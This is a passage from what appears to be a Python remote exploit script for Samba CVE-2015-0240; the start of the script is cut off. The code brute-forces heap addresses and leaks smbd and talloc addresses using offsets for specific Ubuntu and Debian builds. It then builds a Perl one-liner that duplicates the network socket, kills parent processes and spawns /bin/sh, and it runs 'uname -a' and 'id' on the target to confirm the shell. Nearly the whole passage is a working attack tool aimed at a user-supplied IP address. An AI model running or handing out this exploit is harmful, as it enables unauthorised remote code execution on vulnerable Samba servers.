|
|
return True
|
|
print('something wrong :(')
|
|
return False
|
|
|
|
########
|
|
# start work
|
|
########
|
|
|
|
def check_exploitable():
|
|
if request_check_valid_addr(0x41414141):
|
|
print('[-] seems not vulnerable')
|
|
return False
|
|
if request_check_valid_addr(0):
|
|
print('[+] seems exploitable :)')
|
|
return True
|
|
|
|
print("[-] seems vulnerable but I cannot exploit")
|
|
print("[-] I can exploit only if 'creds' is controlled by 'ReferentId'")
|
|
return False
|
|
|
|
def do_work(args):
|
|
info = {}
|
|
|
|
if not (args.payload_addr or args.heap_start or args.start_payload_size):
|
|
if not check_exploitable():
|
|
return
|
|
|
|
start_size = 512*1024 # default size with 512KB
|
|
if args.payload_addr:
|
|
info['payload_addr'] = args.payload_addr
|
|
else:
|
|
heap_start = args.heap_start if args.heap_start else 0xb9800000+0x30000
|
|
if args.start_payload_size:
|
|
start_size = args.start_payload_size * 1024
|
|
if start_size < TARGET_PAYLOAD_SIZE:
|
|
start_size = 512*1024 # back to default
|
|
info['payload_addr'] = find_payload_addr(heap_start, start_size, TARGET_PAYLOAD_SIZE)
|
|
|
|
# the real talloc chunk address that stored the raw netlogon data
|
|
# serverHandle 0x10 bytes. accountName 0xc bytes
|
|
info['chunk_addr'] = info['payload_addr'] - 0x1c - TALLOC_HDR_SIZE
|
|
print("[+] chunk addr: {:x}".format(info['chunk_addr']))
|
|
|
|
while not leak_info_find_offset(info):
|
|
# Note: do heap bruteforcing again seems to be more effective
|
|
# start from payload_addr + some offset
|
|
print("[+] bruteforcing heap again. start from {:x}".format(info['payload_addr']+0x10000))
|
|
info['payload_addr'] = find_payload_addr(info['payload_addr']+0x10000, start_size, TARGET_PAYLOAD_SIZE)
|
|
info['chunk_addr'] = info['payload_addr'] - 0x1c - TALLOC_HDR_SIZE
|
|
print("[+] chunk addr: {:x}".format(info['chunk_addr']))
|
|
|
|
got_fd = leak_sock_fd(info)
|
|
|
|
# create shell command for reuse sock fd
|
|
cmd = "perl -e 'use POSIX qw(dup2);$)=0;$>=0;" # seteuid, setegid
|
|
cmd += "dup2({0:d},0);dup2({0:d},1);dup2({0:d},2);".format(info['sock_fd']) # dup sock
|
|
# have to kill grand-grand-parent process because sock_exec() does fork() then system()
|
|
# the smbd process still receiving data from socket
|
|
cmd += "$z=getppid;$y=`ps -o ppid= $z`;$x=`ps -o ppid= $y`;kill 15,$x,$y,$z;" # kill parents
|
|
cmd += """print "shell ready\n";exec "/bin/sh";'""" # spawn shell
|
|
info['cmd'] = cmd
|
|
|
|
# Note: cannot use system@plt because binary is PIE and chunk dtor is called in libtalloc.
|
|
# the ebx is not correct for resolving the system address
|
|
smbd_info = {
|
|
0x5dd: { 'uint8t_offset': 0x711555, 'talloc_pop': 0x41a890, 'sock_exec': 0x0044a060, 'version': '3.6.3-2ubuntu2 - 3.6.3-2ubuntu2.3'},
|
|
0xb7d: { 'uint8t_offset': 0x711b7d, 'talloc_pop': 0x41ab80, 'sock_exec': 0x0044a380, 'version': '3.6.3-2ubuntu2.9'},
|
|
0xf7d: { 'uint8t_offset': 0x710f7d, 'talloc_pop': 0x419f80, 'sock_exec': 0x00449770, 'version': '3.6.3-2ubuntu2.11'},
|
|
0xf1d: { 'uint8t_offset': 0x71ff1d, 'talloc_pop': 0x429e80, 'sock_exec': 0x004614b0, 'version': '3.6.6-6+deb7u4'},
|
|
}
|
|
|
|
leak_talloc_pop_addr(info) # to double check the bininfo
|
|
bininfo = smbd_info.get(info['uint8t_addr'] & 0xfff)
|
|
if bininfo is not None:
|
|
smbd_addr = info['uint8t_addr'] - bininfo['uint8t_offset']
|
|
if smbd_addr + bininfo['talloc_pop'] == info['talloc_pop_addr']:
|
|
# correct info
|
|
print('[+] detect smbd version: {:s}'.format(bininfo['version']))
|
|
info['smbd_addr'] = smbd_addr
|
|
info['sock_exec_addr'] = smbd_addr + bininfo['sock_exec']
|
|
print(' [*] smbd loaded addr: {:x}'.format(smbd_addr))
|
|
print(' [*] use sock_exec offset: {:x}'.format(bininfo['sock_exec']))
|
|
print(' [*] sock_exec addr: {:x}'.format(info['sock_exec_addr']))
|
|
else:
|
|
# wrong info
|
|
bininfo = None
|
|
|
|
got_shell = False
|
|
if bininfo is None:
|
|
# no target binary info. do a hard way to find them.
|
|
"""
|
|
leak smbd_server_connection_handler for 2 purposes
|
|
- to check if compiler does code alignment
|
|
- to estimate smbd loaded address
|
|
- gcc always puts smbd_server_connection_handler() function at
|
|
beginning area of .text section
|
|
- so the difference of smbd_server_connection_handler() offset is
|
|
very low for all smbd binary (compiled by gcc)
|
|
"""
|
|
leak_smbd_server_connection_handler_addr(info)
|
|
find_smbd_base_addr(info)
|
|
dump_smbd_find_bininfo(info)
|
|
|
|
# code execution
|
|
if 'sock_exec_addr' in info and call_sock_exec(info):
|
|
s = get_socket()
|
|
print(s.recv(4096)) # wait for 'shell ready' message
|
|
s.send('uname -a\n')
|
|
print(s.recv(4096))
|
|
s.send('id\n')
|
|
print(s.recv(4096))
|
|
s.send('exit\n')
|
|
s.close()
|
|
|
|
|
|
def hex_int(x):
|
|
return int(x,16)
|
|
|
|
# command arguments
|
|
parser = argparse.ArgumentParser(description='Samba CVE-2015-0240 exploit')
|
|
parser.add_argument('target', help='target IP address')
|
|
parser.add_argument('-hs', '--heap_start', type=hex_int,
|
|
help='heap address in hex to start bruteforcing')
|
|
parser.add_argument('-pa', '--payload_addr', type=hex_int,
|
|
help='exact payload (accountName) address in heap. If this is defined, no heap bruteforcing')
|
|
parser.add_argument('-sps', '--start_payload_size', type=int,
|
|
help='start payload size for bruteforcing heap address in KB. (128, 256, 512, ...)')
|
|
|
|
args = parser.parse_args()
|
|
requester.set_target(args.target)
|
|
|
|
|
|
try:
|
|
do_work(args)
|
|
except KeyboardInterrupt:
|
|
pass |